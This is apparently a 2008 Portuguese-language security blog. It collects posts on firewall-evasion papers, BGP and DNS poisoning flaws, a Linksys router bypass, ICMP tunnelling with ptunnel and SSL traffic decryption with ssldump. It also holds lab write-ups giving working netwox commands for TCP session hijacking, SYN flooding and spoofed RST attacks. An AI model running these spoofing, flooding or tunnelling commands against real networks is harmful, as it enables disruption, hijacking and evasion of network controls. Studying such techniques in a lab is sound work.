Paper: Locating Stateless Firewalls December 11, 2008
Posted by y2h4ck in General Hacking, General Security, Network Security.Tags: Ethical Hacking, firewalls, General Hacking, network hacking, Network Security, stateless firewall
add a comment
Neste texto, escrito pelo pessoal do sock-raw, temos algumas metodologias para exploitação de falhas de configuração em Firewalls Stateless, assim como formas de analisar se um firewall é Stateless ou Statefull. O texto também trata como algumas ambiguidades na RFC causam diversas vulnerabilidades que podem ser utilizadas de diversas maneiras, tanto facilitando na intrusão, quanto na extrusão de dados.
Link: http://sock-raw.homeunix.org/papers/firewalls
Boa leitura.
Curso: Web Application Hacking 29/11 November 20, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, General Security, Network Security, Pentesting, Web Hacking.Tags: curso, curso hacking, curso pentest, cursos, Pentest
add a comment
Pessoal, estou fechando uma turma agora dia 29/11. Convido a todos que tenham interesse de participar. Me enviem um email para maiores informações ou então acesssem a parte “Academy”.
Preço especial para quem citar este link.
Aguardo a todos.
Good Hacking 4 All.
Revealed: The Internet’s Biggest Security Hole August 28, 2008
Posted by y2h4ck in General Hacking, Network Security.Tags: BGP hacking, bgp vulnerability, network hacking
add a comment
Two security researchers have demonstrated a new technique to stealthily intercept internet traffic on a scale previously presumed to be unavailable to anyone outside of intelligence agencies like the National Security Agency. The tactic exploits the internet routing protocol BGP (Border Gateway Protocol) to let an attacker surreptitiously monitor unencrypted internet traffic anywhere in the world, and even modify it before it reaches its destination. Find out about a new exploit that uses a weakness in the design of the internet’s Border Gateway Protocol (BGP) to re-direct traffic to an eavesdropper. How do you think ISPs will respond to defending against this new technique? Check it out in the article below.
http://blog.wired.com/27bstroke6/2008/08/revealed-the-in.html
Linksys WRT54G Security Bypass Vulnerability June 25, 2008
Posted by y2h4ck in General Hacking, Network Security.Tags: 802.11g, bonus, Ethical Hacking, Hacking, linksys hacking, linksys wrt54g, megabonus, Pentest, ultrabonus, wireless router, y2h4ck
add a comment
A interface web no Linksys WRT54g router com firmware
1.00.9 não solicita credenciais quando requisitados
scripts que permite que atacantes acessem features
de administração usando requisições diretas à:
- Advanced.tri
- AdvRoute.tri
- Basic.tri
E muito mais. Recomendo a todos a leitura
to material completo em:
http://www.milw0rm.com/exploits/5926
E recomendo a atualização do Firmware ;-)
Good Hacking 4 All.
Ping Tunnel – Where everything else is blocked May 23, 2008
Posted by y2h4ck in General Hacking, Network Security, Pentesting.Tags: Ethical Hacking, Hacking, icmp tunnel, icmp tunneling, network piercing, Pentest, ping tunnels, ptunnel
add a comment
Ptunnel é uma aplicação que permite que você estabeleça tuneis de comunicação TCP para um host remoto usando ICMP echo request e reply packets, comumente conhecidos como ping quest e replie. A primeira vista pode parecer algo totalmente inútil e fora de mão, mas posso garantir que muitas vezes pode salvar sua vida. O exemplo abaixo ilustra bem a principal motivação para utilizar o ptunnel.
Exemplo: Você esta conectado através de uma rede wireless aberta. A rede dá a você um endereço IP, porém o firewall não permite que você envie pacotes TCP ou UDP para o resto da internet, assim você não consegue conectar-se ao seu servidor de e-mail. O que fazer? Você percebe que os pacotes ICMP estão liberados no firewall e você consegue pingar qualquer host na internet. Com o Ptunnel você pode utilizar esta falha na configuração do firewall e acessar o seu email, ou fazer qualquer outra coisa que necessidade de comunicação TCP.
Esta é uma descrição técnica sobre como o ptunnel funciona. Se você não está interessado em low-level networking hacking você pode pular esta sessão. Ptunnel trabalha tunelando conexões TCP através de pacotes ICMP. Neste sentido vamos falar um pouco sobre o proxy, o client e os acessos de Destino. O proxy é o “endpoint” de nossos pacotes ICMP, exemplo, o computador para onde enviamos os Pings. O client é o computador que irá tentar surfar através do tunnel e o Destination é o computador que queremos acessar através da comunicação TCP (um web site ou um servidor SSH em algum lugar).
Desta forma esclarecido, para efetuarmos a comunicação desejada precisamos ter a habilidade de enviar e receber pacotes icmp. Muitos sistemas operacionais permite que façamos isto utilizando raw-sockets. Raw Sockets é o mecanismo mais interessante para enviar pacotes ICMP, e é utilizado tanto pelo Proxy quanto pelo Client. Infelizmente raw sockets precisam que você tenha acesso de root. Caso você não tenha acesso root poderá utilizar o standard datagram sockets. Ptunnel suporta o uso do standard datagram porém não é recomendado para uso.
O cliente irá efetuar todas suas comunicações utilizando ICMP echo request (ping) packet (tipo 8), o qual o proxy irá echo reply packet (tipo 0). Em teoria, é possivel utilizar o proxy usando apenas pacotes echo request , mas estas requisições não necessariamente encaminhadas para o cliente através da rede, sendo assim não são utilizadas.
Múltiplas Conexões
O proxy pode gerenciar multiplas diferente conexões utilizando o ICMP identifier field. O cliente irá randomicamente gerar um identificar quando a sessão iniciar, e o host remoto irá utilizar este identificar para associar os pacotes com esta conexão. O mecanismo não é totalmente a prova de falhas, mas funciona razoavelmente bem, desde que duas instancias de conexão não utilizem o mesmo identificador (o ICMP não tem mecanismos para reportar este tipo de erro).
Perda de pacotes
O Ptunnel gerencia a perda de pacotes re-enviando os pacotes perdidos. Conforme ele envia os pacotes ele irá incrementar o sequence number. Tanto o client quanto o proxy mantem suas proprias sequencias, e também um número indicando o ultimo numero de sequencia que foi obtido pelo host remoto.
Veja que o proxy irá somente enviar o primeiro pacote que falta. Quando o pacote é recebido, ele pode re-enviar o próximo pacote, dependendo de quantos pacotes serão recebidos.
Usando o Ptunnel
Client: ./ptunnel -p <proxy address> -lp <listen port> -da <destination address> -dp <destination port> [-c <network device>] [-v <verbosity>] [-f <logfile>] [-u] [-x password]
Proxy: ./ptunnel [-c <network device>] [-v <verbosity>] [-f <logfile>] [-u] [-x password]
A opção –s seta o endereço do host onde o proxy está rodando. Um rápido teste para verificar se o proxy está funcionando e simplesmentes pingar o host, se receber os replies você está pronto para fazer o tunnel funcionar.
As opções –lp, -da e –dp irão se referir para a porta local que ficará escutando, o destination address e a destination port. Vamos supor que você deseja tunelar conexões SSH da máquina cliente via proxy que roda em proxy.pingtunnel.com para o computador login.domain.com, você pode utilizar esta forma:
sudo ./ptunnel -p proxy.pingtunnel.com -lp 8000 -da login.domain.com -dp 22
Uma conexão ssh para login.domain.com pode agora ser estabelicida assim:
ssh -p 8000 localhost
Caso o ssh reclame de potencial ataque de man-in-the-middle, simplesmente remova a chave de know_hosts. Este erro irá acontecer caso você ja tenha acessado o “localhost” via ssh, ou tenha utilizado o ptunnel para conexões com outros hosts.
É claro que para que tudo isto acima funcione você deve iniciar o proxy em seu computador remoto (proxy.pigtunnel.com) fazendo simplesmente:
sudo ./ptunnel
Para proteger você mesmo de que outros utilizem seu proxy, você pode proteger o acesso com uma senha usando a opção –x. A senha nunca é enviada em clear text, mas tenha em mente que ela poderá ser vista por ferramentas como top ou ps que podem mostrar a command line usada para iniciar a aplicação.
Finalizando, a opção –u irá tentar rodar o proxy no modo não privilegiado (quando não se tem root access).
Download
A versão atual do ptunnel é a 0.61, o source pode ser baixado aqui.
Good Hacking 4 All
SSLDump: Dump SSL Traffic on Network May 1, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, General Security, Network Security, Pentesting.Tags: Ethical Hacking, General Hacking, General Security, Hacking, Network Security, penetration test, Pentest, ssldump
1 comment so far
SSLdump e um SSL/TLS network protocol analyzer. Ele analisa as conexões TCP na rede onde você está coletando o tráfego e tenta interpretar o tráfego SSL/TLS. Quando ele identifica o tráfego SSL/TLS, ele decodifica os pacotes gravados e depois mostra eles em forma de saída de texto no stdout.
Caso o atacante tenha uma copia dos certificados que estão sendo utilizados na comunicação, o ssldump consegue inclusive descriptografar as conexões e mostrar o data traffic da aplicação.
ssldump 0.9b3
A versão atual do ssldump é a 0.9b3
Download disponível aqui
Documentação Extra aqui.
Exemplos de utilização
|
|
Escuta o tráfego na interface le0 na porta 443 |
|
|
ssldump -i le0 port 443 |
|
|
Escuta o tráfego do server romeo na porta 443. |
|
|
ssldump -i le0 port 443 and host romeo
|
|
|
Descriptografar o tráfego do host romeo usando o certificado server.pm com senha foobar |
|
|
ssldump -Ad -k ~/server.pem -p foobar -i le0 host romeo
|
Exemplo de saída
Abaixo segue um exemplo do trace gerado pelo ssldump.
New TCP connection #3: localhost(3638) <-> localhost(4433) 3 1 0.0738 (0.0738) C>S Handshake ClientHello 3 2 0.0743 (0.0004) S>C Handshake ServerHello 3 3 0.0743 (0.0000) S>C Handshake Certificate 3 4 0.0743 (0.0000) S>C Handshake ServerHelloDone 3 5 0.0866 (0.0123) C>S Handshake ClientKeyExchange 3 6 0.0866 (0.0000) C>S ChangeCipherSpec 3 7 0.0866 (0.0000) C>S Handshake Finished 3 8 0.0909 (0.0043) S>C ChangeCipherSpec 3 9 0.0909 (0.0000) S>C Handshake Finished 3 10 1.8652 (1.7742) C>S application_data 3 11 2.7539 (0.8887) C>S application_data 3 12 5.1861 (2.4321) C>S Alert warning close_notify 3 5.1868 (0.0007) C>S TCP FIN 3 5.1893 (0.0024) S>C TCP FIN
Este exemplo usa a flag para decodificação minima. SSLdump tem flags que permitem decodificar todas as mensagens, incluindo o application protocol data.
O SSLdump consegue descriptografar o tráfego entre 2 hosts se as seguintes condições ocorrem:
|
|
1. ssldump tem as chaves. 2. Static RSA foi usado. |
|
|
Em ambos os casos, quando a encriptação inicial, ssldump irá somente estar apto à determinar o tipo de record. Considere a seguinte sessão de um trace: |
|
|
1 5 0.4129 (0.1983) C>S Handshake ClientKeyExchange 1 6 0.4129 (0.0000) C>S ChangeCipherSpec 1 7 0.4129 (0.0000) C>S Handshake 1 8 0.5585 (0.1456) S>C ChangeCipherSpec 1 9 0.6135 (0.0550) S>C Handshake 1 10 2.3121 (1.6986) C>S application_data 1 11 2.5336 (0.2214) C>S application_data 1 12 2.5545 (0.0209) S>C application_data 1 13 2.5592 (0.0046) S>C application_data 1 14 2.5592 (0.0000) S>C Alert Perceba que o ClientKeyExchange mesage type é mostrado mas o resto do HandShake messages não tem os types mostrados. |
O SSLdump consegue trabalhar com SSLv1, SSLv2 e SSLv3 e TLS.
Espero que tenham gostado.
Good Hacking 4 All.
Microsoft Windows Stub Resolver Cache Poisoning April 9, 2008
Posted by y2h4ck in General Hacking, General Security, Network Security.Tags: dns poison, Hacking, microsoft hacking, Pentest
add a comment
O Microsoft Windows DNS Stub Resolver (componente no windows responsável pelas queries de upstream para DNS server, e que é utilizado para resolução de endereços na maioria dos programas que o Windows utiliza, ex browsers) envia solicitações DNS previsíveis em relação ao DNS Transaction ID e a porta de origem UDP.
Este tipo de comportamento permite muitos ataques interessantes nos Clients desses DNS, incluindo DNS Cache Poisoning no Cache Local dos Clients (que é gerenciado pelo componente de Stub Resolver), assim como ataques de DNS Drive by Pharmming.
Todos os sistemas Windows Vista, Windows XP SP2, windows 2003 e windows 2000 SP4 são vulneráveis a este tipo de ataque.
No dia 30 de Abril de 2007 a Microsoft foi informada sobre este tipo de falha. Um Bulletin da Microsoft (MS08-020) trata justamente desta questão (pouco tempo né ?).
Existe uma documentação muito interessante e completa sobre este tipo de técnica “Microsoft Windows DNS Stub Resolver Cache Poisoning” que pode ser baixada aqui:
http://www.trusteer.com/docs/windowsresolver.html
TCP Session Highjacking December 12, 2007
Posted by y2h4ck in Network Security.add a comment
* netwox 7 -device “Eth3″ -filter “port 20 or port 21″
* netwox 76 -dst-ip 192.168.27.129 -dst-port 32770
* netwox 40 -ip4-dontfrag -ip4-ttl 5 -ip4-src 192.168.27.129 -ip4-dst 192.168.27.128 -tcp-src 32270 -tcp-dst 21
-tcp-seqnum 2461838162 -tcp-acknum 620603129 -tcp-urg -tcp-ack -tcp-window 32577 -tcp-data “50 57 44 0d 0a” -spoofip “best”
Usando a sequencia de comando acima é implementada uma Session Hijacking. O Lab envolve uma conexão FTP
entre duas maquinas VMware (ubuntu e minix) e a maquina ubuntu atua como atacante.
O atacante consegue executar comandos arbitrários de FTP na máquina server, porém a máquina que inicializou
a comunicação foi a minix e apenas recebe um reply.
Se a máquina estiver inativa ocorre um ping pong de pacotes TCP trocados entre os dois hosts.
Considere o seguinte cenário: A está conectada em B via FTP. Digamos que X é o SEQ_NUM e Y é o ACK_NUM de A para B.
Acora o atacante envia um pacote spoffado para B com o SEQ_NUM X e ACK_NYM Y. B responde com o SEQ_NUM=Y+$n_1$(tamanho da mensagem)
e ACK_NUM=X+$n_2$. A recebe o pacote, mas como tem pacotes com o SEQ_NUM=x, ele envia então um pacote com o SEQ_NUM=x+1 e ACK_NUM=y.
Desta forma A e B continuam a inumdar um ao outro com pacotes :-P.
Agora se A está ativo ele irá mostrar o display output do comando enviado pelo atacante. Então se fizermos
um synflood em A usando o netwox-too 76 (como mostrado acima), A continuará a receber o output, contudo um pouco
mais atrasado. Uma verdadeira session hijacking será possivel somente se usarmos um MITM (Man-in-the-middle) Attack.
O screenshot a seguir mostra o output do comando enviado pelo atacante sendo direcionado para o host.
TCP RST attacks December 12, 2007
Posted by y2h4ck in Network Security.add a comment
O ataque de TCP RST consiste em sabendo que uma determinada conexão está ativa, é possivel enviar um pacote tcp contendo a flag RST,
basta conhecer o tcp-seqnum para encaminhar o RST flag com um source spoofado, forjando ser o host legítimo onde a conexão está feita.
Para isto podemos utilizar o netwox que é uma ferramenta muito muito muito boa, eu arrisco dizer que esta sim é o canivete suiço para tcp-ip
e qualquer outro protocolo porque alem de um Packet-fuzzer ele é um Sniffer muito bom e um packet-analizer completo.
netwox 78 -device “Eth3″ -spoofip “best” -ips “192.168.27.129″
Esta tool vai resetar todas as conexões vindas do IP Address 192.168.27.29. Sobretudo, estará também fazendo framing dos
ip packets com o número apropriado para os pacotes SYN e ACK assim como os port numbers, com o RST Flag setado.
Para gerar o pacote RST que matará todas as conexões com o host, podemos ver o pacote que a tools gera:
Ethernet________________________________________________________.
| 00:0C:29:E5:47:4D->00:50:56:E5:6D:53 type:0×0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0028=40___________|
| id |r|D|M| offsetfrag |
|___________0×001E=30___________|0|1|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×40=64____|____0×06=6_____|____________0xCB95_____________|
| source |
|________________________192.168.27.128_________________________|
| destination |
|_________________________128.230.18.14_________________________|
TCP_____________________________________________________________.
| source port | destination port |
|__________0×0ABF=2751__________|___________0×0016=22___________|
| seqnum |
|_____________________0×30E40A46=820251206______________________|
| acknum |
|_________________________0×00000000=0__________________________|
| doff |r|r|r|r|C|E|U|A|P|R|S|F| window |
|___5___|0|0|0|0|0|0|0|0|0|1|0|0|___________0×0000=0____________|
| checksum | urgptr |
|_________0xFAC4=64196__________|___________0×0000=0____________|
Isto pode ser conseguido manualmente sniffando a rede e depois enviando o pacote TCP Apropriado. O mesmo efeito é conseguido usando a opção de ferramenta 7
seguida pela ferramenta 78:
netwox 7 -device “Eth3″
netwox 40 -ip4-src 128.230.18.14 -ip4-dst 192.168.27.128 -tcp-src 22 -tcp-dst 3538 -tcp-seqnum 1713790563 -tcp-acknum 1277156939 -tcp-rst -tcp-window 0 -tcp-urgptr 0
O Pacote Gerado foi:
Ethernet________________________________________________________.
| 00:00:00:00:00:00->00:0C:29:E5:47:4D type:0×0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0028=40___________|
| id |r|D|M| offsetfrag |
|_________0xE130=57648__________|0|0|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×00=0_____|____0×06=6_____|____________0×6A83_____________|
| source |
|_________________________128.230.18.14_________________________|
| destination |
|________________________192.168.27.128_________________________|
TCP_____________________________________________________________.
| source port | destination port |
|___________0×0016=22___________|__________0×0DD2=3538__________|
| seqnum |
|_____________________0×66265E63=1713790563_____________________|
| acknum |
|_____________________0×4C1FDE4B=1277156939_____________________|
| doff |r|r|r|r|C|E|U|A|P|R|S|F| window |
|___5___|0|0|0|0|0|0|0|0|0|1|0|0|___________0×0000=0____________|
| checksum | urgptr |
|_________0×43E7=17383__________|___________0×0000=0____________|
Ambos os tipos de ataques podem ser utilizados, em ambos os casos a conexão é quebrada e recebemos um Error Message.
